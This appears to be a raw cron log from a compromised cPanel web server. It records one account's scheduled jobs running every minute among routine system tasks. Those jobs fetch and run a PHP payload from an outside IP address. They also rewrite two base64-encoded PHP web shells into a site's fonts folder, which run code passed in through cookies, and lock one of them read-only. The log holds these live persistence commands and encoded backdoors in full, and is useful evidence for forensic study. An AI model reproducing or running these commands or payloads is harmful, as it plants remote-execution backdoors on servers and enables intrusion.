Sep 22 06:52:01 ip-184-168-122-23 CROND[8213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:52:01 ip-184-168-122-23 CROND[8214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:52:01 ip-184-168-122-23 CROND[8212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:53:01 ip-184-168-122-23 CROND[8352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:53:01 ip-184-168-122-23 CROND[8354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:53:01 ip-184-168-122-23 CROND[8355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:53:01 ip-184-168-122-23 CROND[8356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:54:01 ip-184-168-122-23 CROND[8452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:54:01 ip-184-168-122-23 CROND[8453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:54:01 ip-184-168-122-23 CROND[8451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:54:01 ip-184-168-122-23 CROND[8450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:54:01 ip-184-168-122-23 CROND[8454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:55:01 ip-184-168-122-23 CROND[8623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:55:02 ip-184-168-122-23 CROND[8625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:55:02 ip-184-168-122-23 CROND[8626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:55:02 ip-184-168-122-23 CROND[8628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:55:02 ip-184-168-122-23 CROND[8627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:55:02 ip-184-168-122-23 CROND[8630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:56:01 ip-184-168-122-23 CROND[8878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:56:01 ip-184-168-122-23 CROND[8880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:56:01 ip-184-168-122-23 CROND[8881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:56:01 ip-184-168-122-23 CROND[8882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:56:01 ip-184-168-122-23 CROND[8884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:57:01 ip-184-168-122-23 CROND[8994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:57:01 ip-184-168-122-23 CROND[8996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:57:02 ip-184-168-122-23 CROND[8998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:57:02 ip-184-168-122-23 CROND[8997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:58:01 ip-184-168-122-23 CROND[9200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:58:01 ip-184-168-122-23 CROND[9203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:58:01 ip-184-168-122-23 CROND[9202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:58:01 ip-184-168-122-23 CROND[9204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:58:01 ip-184-168-122-23 CROND[9205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:59:01 ip-184-168-122-23 CROND[9345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:59:01 ip-184-168-122-23 CROND[9347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:59:01 ip-184-168-122-23 CROND[9348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:59:01 ip-184-168-122-23 CROND[9350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:00:01 ip-184-168-122-23 CROND[9489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:00:01 ip-184-168-122-23 CROND[9491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:00:01 ip-184-168-122-23 CROND[9496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:00:01 ip-184-168-122-23 CROND[9495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:00:01 ip-184-168-122-23 CROND[9493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:00:01 ip-184-168-122-23 CROND[9494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:00:01 ip-184-168-122-23 CROND[9497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:00:01 ip-184-168-122-23 CROND[9492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 07:01:01 ip-184-168-122-23 CROND[9641]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 07:01:01 ip-184-168-122-23 CROND[9642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:01:01 ip-184-168-122-23 CROND[9645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 07:01:01 ip-184-168-122-23 CROND[9648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:01:01 ip-184-168-122-23 CROND[9649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:01:01 ip-184-168-122-23 CROND[9647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9641]: starting 0anacron
Sep 22 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9662]: finished 0anacron
Sep 22 07:02:01 ip-184-168-122-23 CROND[9811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:02:01 ip-184-168-122-23 CROND[9814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:02:01 ip-184-168-122-23 CROND[9813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:02:01 ip-184-168-122-23 CROND[9812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:02:01 ip-184-168-122-23 CROND[9816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:03:01 ip-184-168-122-23 CROND[9931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:03:01 ip-184-168-122-23 CROND[9933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:03:01 ip-184-168-122-23 CROND[9935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:03:01 ip-184-168-122-23 CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:04:01 ip-184-168-122-23 CROND[10162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:04:01 ip-184-168-122-23 CROND[10165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:04:01 ip-184-168-122-23 CROND[10164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:04:01 ip-184-168-122-23 CROND[10166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
